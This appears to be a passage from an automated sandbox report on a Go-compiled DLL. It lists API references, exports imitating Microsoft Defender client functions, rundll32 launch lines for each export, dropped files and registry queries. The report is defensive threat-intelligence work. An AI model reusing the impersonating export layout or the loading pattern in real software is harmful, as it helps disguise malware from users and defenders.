"00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "SetConsoleCtrlHandler"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "SetProcessPriorityBoost"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "SetThreadContext"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "SetWaitableTimer"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "SuspendThread"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "WerGetFlags"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "WerSetFlags"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "CLSIDFromString"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "QueryActCtxW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "GetSystemWow64DirectoryW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "Wow64EnableWow64FsRedirection"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "NtClose"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "NtOpenProcessToken"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "NtQueryInformationToken"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "RtlImageNtHeader"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "SetSearchPathMode"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "CreateActCtxW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "ActivateActCtx"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "DeactivateActCtx"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "ReleaseActCtx"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "GetWindow"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "RegisterClassW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "LoadIconW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "LoadCursorW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API (Indicator: "PathIsRelativeW"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp")32:T712,"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin" contains export function called "MpAllocMemory" at ordinal 1 "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin" contains export function called "MpClientUtilExportFunctions" at ordinal 2 "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin" contains export function called "MpConfigClose" at ordinal 3 "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin" contains export function called "MpConfigGetValue" at ordinal 4 "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin" contains export function called "MpConfigGetValueAlloc" at ordinal 5 "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin" contains export function called "MpConfigInitialize" at ordinal 6 "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin" contains export function called "MpConfigOpen" at ordinal 7 "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin" contains export function called "MpConfigRegisterForNotifications" at ordinal 8 "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin" contains export function called "MpConfigSetValue" at ordinal 9 "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin" contains export function called "MpConfigUninitialize" at ordinal 10 "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin" contains export function called "MpConfigUnregisterNotifications" at ordinal 11 "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin" contains export function called "MpFreeMemory" at ordinal 12 "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin" contains export function called "_cgo_dummy_export" at ordinal 1333:T7a0,Process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll",#1" (UID: 00000000-00004076) Process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll",#2" (UID: 00000000-00003300) Process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll",#3" (UID: 00000000-00003456) Process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll",#4" (UID: 00000000-00000588) Process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll",#5" (UID: 00000000-00003348) Process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll",#6" (UID: 00000000-00001200) Process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll",#7" (UID: 00000000-00003452) Process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll",#8" (UID: 00000000-00003780) Process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll",#9" (UID: 00000000-00003096) Process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll",#10" (UID: 00000000-00002896) Process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll",#11" (UID: 00000000-00000644) Process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll",#12" (UID: 00000000-00001908) Process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin.dll",#13" (UID: 00000000-00003656)34:T4c1,"130014006161020010f555fefe070000@RPCRT4.dll" "15001600fe070000a88ae1f2fe070000@ADVAPI32.dll" "0e000f00fe070000608be1f2fe070000@ADVAPI32.dll" "0e000f00fe070000c08be1f2fe070000@ADVAPI32.dll" "11001200fe0700007894e1f2fe070000@ADVAPI32.dll" "11001200fe0700001095e1f2fe070000@ADVAPI32.dll" "12001300fe0700005895e1f2fe070000@ADVAPI32.dll" "12001300fe070000b895e1f2fe070000@ADVAPI32.dll" "14001500fe07000020c9e1f2fe070000@ADVAPI32.dll" "14001500fe07000008c9e1f2fe070000@ADVAPI32.dll" "14001500fe07000050c9e1f2fe070000@ADVAPI32.dll" "17001800fe07000038c9e1f2fe070000@ADVAPI32.dll" "0d000e00fe07000080c9e1f2fe070000@ADVAPI32.dll" "11001200fe07000068c9e1f2fe070000@ADVAPI32.dll" "11001200fe070000a0c9e1f2fe070000@ADVAPI32.dll" "0f001000fe070000d8cae1f2fe070000@ADVAPI32.dll" "14001500fe07000048cbe1f2fe070000@ADVAPI32.dll" "14001500fe07000030cbe1f2fe070000@ADVAPI32.dll" "0c000d00fe070000a0cbe1f2fe070000@ADVAPI32.dll" "0c000d00fe07000090cbe1f2fe070000@ADVAPI32.dll" "0e000f00fe070000c0cbe1f2fe070000@ADVAPI32.dll" "0e000f00fe070000b0cbe1f2fe070000@ADVAPI32.dll" "0b000c00fe070000f0cbe1f2fe070000@ADVAPI32.dll" "0d000e00fe07000080cce1f2fe070000@bcrypt.dll" "0d000e00fe070000a0cce1f2fe070000@bcrypt.dll"35:T6ca,Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00003300), Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00003456) Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00000588), Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00003348) Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00001200), Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00003452) Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00003780), Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00003096) Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00002896), Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00000644) Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00001908), Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00003656)36:T6ca,Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00003300), Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00003456) Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00000588), Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00003348) Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00001200), Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00003452) Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00003780), Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00003096) Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00002896), Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00000644) Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00001908), Spawned process "rundll32.exe" with commandline ""C:\\70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2 ..." (UID: 00000000-00003656)37:T4fd,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003656.00000000.269712.FF421000.00000020.mdmp")38:T728,"UK905DBZ.htm" has type "HTML document ASCII text with very long lines (14673)"- [targetUID: N/A] "~DF1FFF3BB0A72C5A7C.TMP" has type "data"- [targetUID: N/A] "~DF7A3AD4202DE4CB1F.TMP" has type "data"- [targetUID: N/A] "~DFF578A21089EF39C3.TMP" has type "data"- [targetUID: N/A] "nav_logo229_1_.png" has type "Unknown"- [targetUID: N/A] "imagestore.dat" has type "data"- [targetUID: N/A] "RecoveryStore._1EF1B6AB-6795-11F1-9C98-005056913810_.dat" has type "Unknown"- [targetUID: N/A] "_1EF1B6AD-6795-11F1-9C98-005056913810_.dat" has type "Unknown"- [targetUID: N/A] "googlelogo_white_background_color_272x92dp_1_.png" has type "Unknown"- [targetUID: N/A] "favicon_1_.ico" has type "Unknown"- [targetUID: N/A] "_25E6A544-6795-11F1-9C98-005056913810_.dat" has type "Unknown"- [targetUID: N/A] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- [targetUID: N/A] "05DDC6AA91765AACACDB0A5F96DF8199" has type "data"- [targetUID: N/A] "RFXRNGZK.txt" has type "ASCII text"- [targetUID: N/A] "2UBCNDDQ.txt" has type "ASCII text"- [targetUID: N/A] "QMY98U1L.txt" has type "ASCII text"- [targetUID: N/A] "6DA548C7E5915679F87E910D6581DEF1_3B575FC3633203A7B6F1D54AF15F5DFF" has type "data"- [targetUID: N/A] "4FA45AE1010E09657982D8D28B3BD38E_BF3890251EE43B9B7C585D8A702A23E9" has type "data"- [targetUID: N/A] "B3513D73A177A2707D910183759B389B_DD5C881D3BBD16C042910D28DAB6EC75" has type "data"- [targetUID: N/A] "B3513D73A177A2707D910183759B389B_37334A92C08D0036E183ABCF13343D9F" has type "data"- [targetUID: N/A] "O0NZVS3L.txt" has type "ASCII text"- [targetUID: N/A] "FXNTLOT4.txt" has type "ASCII text"- [targetUID: N/A] "ANBK0T2I.txt" has type "ASCII text"- [targetUID: N/A] "MMD3J4SA.txt" has type "ASCII text"- [targetUID: N/A] "WHGPZV72.txt" has type "ASCII text"- [targetUID: N/A]39:T7b8,"rundll32.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IME COMPATIBILITY"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "rundll32.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "")3a:T94b,"rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: "DISABLEUSERMODECALLBACKFILTER"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "RUNDLL32"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "")3b:T49b,Found reference to API "SetsockoptInt" (Indicator: "setsockopt"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "SetsockoptIPMreq" (Indicator: "setsockopt"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "SetsockoptLinger" (Indicator: "setsockopt"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "SetsockoptIPv6Mreq" (Indicator: "setsockopt"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "SetsockoptInet4Addr" (Indicator: "setsockopt"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") file/memory contains long string with (Indicator: "setsockopt"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "syscall.Setsockopt" (Indicator: "setsockopt"; File: "70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin") Found reference to API "syscall.SetsockoptInt" (Indicator: "setsockopt"; File: 